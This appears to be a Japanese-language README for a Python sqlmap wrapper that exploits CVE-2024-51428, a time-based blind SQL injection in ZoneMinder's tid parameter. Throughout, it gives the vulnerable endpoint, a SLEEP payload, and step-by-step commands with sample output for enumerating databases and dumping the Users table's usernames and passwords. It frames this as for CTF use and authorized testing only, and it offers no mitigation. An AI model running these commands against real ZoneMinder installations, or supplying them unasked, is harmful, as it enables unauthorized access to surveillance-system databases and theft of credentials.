
Pythonで書かれたZoneMinderのCVE-2024-51428を悪用するラッパー。sqlmapを用いたBlind SQL Injectionにより、データベースやテーブルの列挙、データ抽出を自動化し、クリーンな出力を提供する。
ZoneMinder の CVE-2024-51428 を悪用するための sqlmap の Python ラッパーです。
このツールは、ブラインドSQLインジェクション 脆弱性の検出と悪用を自動化し、出力をクリーンにして有用なデータに集中させます。
スクリプトは sqlmap のログを非表示にし、以下のような関連情報のみを表示します。
これにより、CTF環境、デモ、セキュリティテスト に最適なツールとなっています。
CVE: CVE-2024-51428
タイプ: ブラインドSQLインジェクション
影響を受けるソフトウェア: ZoneMinder
攻撃ベクトル: HTTP GET パラメータ
パラメータ: tid
脆弱性は以下のエンドポイントに存在します:
/zm/index.php?view=request&request=event&action=removetag&tid=
tid パラメータはデータベースクエリで使用される前に適切にサニタイズされていないため、攻撃者がSQLクエリを注入することが可能です。
使用される悪用手法は 時間ベースのブラインドSQLインジェクション です。
sqlmap によって発見されたペイロードの例:
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
このペイロードは、クエリが正常に実行された場合にデータベースをスリープさせ、SQLインジェクションの存在を確認します。
必要に応じて sqlmap をインストール:
sudo apt install sqlmap
基本構文:
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'
このコマンドで脆弱性の有無を確認します
例:
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
このエクスプロイトには有効な ZoneMinder セッション Cookie が必要です。
手順:
Application → Cookies
ZMSESSID
-c で使用する例:
-c '151fvdqmjkhnkfat7l5epgmd22'
python3 poc.py --url http://target.htb -c 'COOKIE'
出力例:
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
python3 poc.py --url http://target.htb -c 'COOKIE' -d
出力例:
available databases [3]:
information_schema
mysql
zm
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
出力例:
Database: zm
Users
Events
Monitors
Storage
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
例:
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
以下のように行をフィルタリングできます:
-ff <COLUMN> <VALUE>
例:
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
同等のSQL:
WHERE Username='mark'
例:
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
内部のsqlmapコマンド:
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
スクリプトは sqlmap のラッパーとして機能します。
内部で実行される手順:
/zm/index.php?view=request&request=event&action=removetag&tid=1
--threads=10
--technique=T
--batch
このツールは以下の目的で作成されました:
このプロジェクトは教育および許可されたセキュリティテスト目的でのみ提供されます。
作者はこのツールの誤用について一切の責任を負いません。
システムをテストする前に必ず適切な許可を得てください。
セキュリティ研究 / CTFツール開発